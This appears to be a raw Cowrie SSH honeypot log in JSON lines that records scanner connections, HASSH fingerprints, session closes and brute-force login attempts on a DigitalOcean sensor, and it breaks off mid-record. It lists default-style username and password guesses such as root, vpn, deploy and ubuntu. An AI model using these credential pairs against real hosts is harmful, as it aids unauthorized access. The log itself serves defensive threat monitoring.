{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:22.122631Z","src_ip":"27.111.32.174","session":"a5101f1ab6dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:22.371734Z","src_ip":"27.111.32.174","session":"a5101f1ab6dc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:23.143190Z","src_ip":"147.50.103.212","session":"dbc65fa0f3b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.11.196.84","src_port":35092,"dst_ip":"10.17.0.5","dst_port":22,"session":"618eb7657c79","protocol":"ssh","message":"New connection: 177.11.196.84:35092 (10.17.0.5:22) [session: 618eb7657c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:23.344933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:23.349214Z","src_ip":"177.11.196.84","session":"618eb7657c79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn123!","message":"login attempt [vpn/vpn123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:23.400205Z","src_ip":"27.111.32.174","session":"a5101f1ab6dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:23.406789Z","src_ip":"147.50.103.212","session":"04969a856116","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:23.411518Z","src_ip":"147.50.103.212","session":"dbc65fa0f3b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:23.488106Z","src_ip":"177.11.196.84","session":"618eb7657c79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"abcd@1234","message":"login attempt [deploy/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:24.061511Z","src_ip":"177.11.196.84","session":"618eb7657c79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:24.652313Z","src_ip":"27.111.32.174","session":"a5101f1ab6dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:25.201919Z","src_ip":"177.11.196.84","session":"618eb7657c79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.155.21.198","src_port":59900,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d7ef4fc518f","protocol":"ssh","message":"New connection: 43.155.21.198:59900 (159.203.135.109:22) [session: 0d7ef4fc518f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:20:33.980543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:20:33.985639Z","src_ip":"43.155.21.198","session":"0d7ef4fc518f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.245.10.43","src_port":53450,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebd157418ca1","protocol":"ssh","message":"New connection: 61.245.10.43:53450 (10.17.0.5:22) [session: ebd157418ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:20:34.007026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:20:34.011467Z","src_ip":"61.245.10.43","session":"ebd157418ca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:20:34.189390Z","src_ip":"43.155.21.198","session":"0d7ef4fc518f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:20:34.263127Z","src_ip":"61.245.10.43","session":"ebd157418ca1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nasuser","password":"nasuserpass","message":"login attempt [nasuser/nasuserpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:20:35.038858Z","src_ip":"43.155.21.198","session":"0d7ef4fc518f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn123!","message":"login attempt [vpn/vpn123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:20:35.299101Z","src_ip":"61.245.10.43","session":"ebd157418ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:20:36.244023Z","src_ip":"43.155.21.198","session":"0d7ef4fc518f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:20:36.557264Z","src_ip":"61.245.10.43","session":"ebd157418ca1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":35508,"dst_ip":"10.17.0.5","dst_port":22,"session":"e10cd423ad53","protocol":"ssh","message":"New connection: 2.57.122.208:35508 (10.17.0.5:22) [session: e10cd423ad53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:20:36.689338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:20:36.693897Z","src_ip":"2.57.122.208","session":"e10cd423ad53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:20:36.792900Z","src_ip":"2.57.122.208","session":"e10cd423ad53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:20:37.089361Z","src_ip":"2.57.122.208","session":"e10cd423ad53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:20:38.216705Z","src_ip":"2.57.122.208","session":"e10cd423ad53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.103.212","src_port":53210,"dst_ip":"10.17.0.5","dst_port":22,"session":"e79d66f80bf1","protocol":"ssh","message":"New connection: 147.50.103.212:53210 (10.17.0.5:22) [session: e79d66f80bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:21:15.838786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:21:15.843656Z","src_ip":"147.50.103.212","session":"e79d66f80bf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:21:16.106619Z","src_ip":"147.50.103.212","session":"e79d66f80bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aroot","password":"aroot1234","message":"login attempt [aroot/aroot1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:21:17.186021Z","src_ip":"147.50.103.212","session":"e79d66f80bf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:21:18.450114Z","src_ip":"147.50.103.212","session":"e79d66f80bf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":59274,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ea56082ac1a","protocol":"ssh","message":"New connection: 27.111.32.174:59274 (10.17.0.5:22) [session: 0ea56082ac1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:21:19.584062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:21:19.588311Z","src_ip":"27.111.32.174","session":"0ea56082ac1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:21:19.837701Z","src_ip":"27.111.32.174","session":"0ea56082ac1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webserver","password":"webserver2025","message":"login attempt [webserver/webserver2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:21:20.867595Z","src_ip":"27.111.32.174","session":"0ea56082ac1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:21:22.118655Z","src_ip":"27.111.32.174","session":"0ea56082ac1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.11.196.84","src_port":48864,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a471733dfb9","protocol":"ssh","message":"New connection: 177.11.196.84:48864 (10.17.0.5:22) [session: 0a471733dfb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:21:40.251473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:21:40.256081Z","src_ip":"177.11.196.84","session":"0a471733dfb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:21:40.390709Z","src_ip":"177.11.196.84","session":"0a471733dfb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arma3server","password":"arma3server1234","message":"login attempt [arma3server/arma3server1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:21:40.957225Z","src_ip":"177.11.196.84","session":"0a471733dfb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:21:42.097041Z","src_ip":"177.11.196.84","session":"0a471733dfb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.155.21.198","src_port":39468,"dst_ip":"159.203.135.109","dst_port":22,"session":"c59c6717fc9e","protocol":"ssh","message":"New connection: 43.155.21.198:39468 (159.203.135.109:22) [session: c59c6717fc9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:22:24.933114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:22:24.937911Z","src_ip":"43.155.21.198","session":"c59c6717fc9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 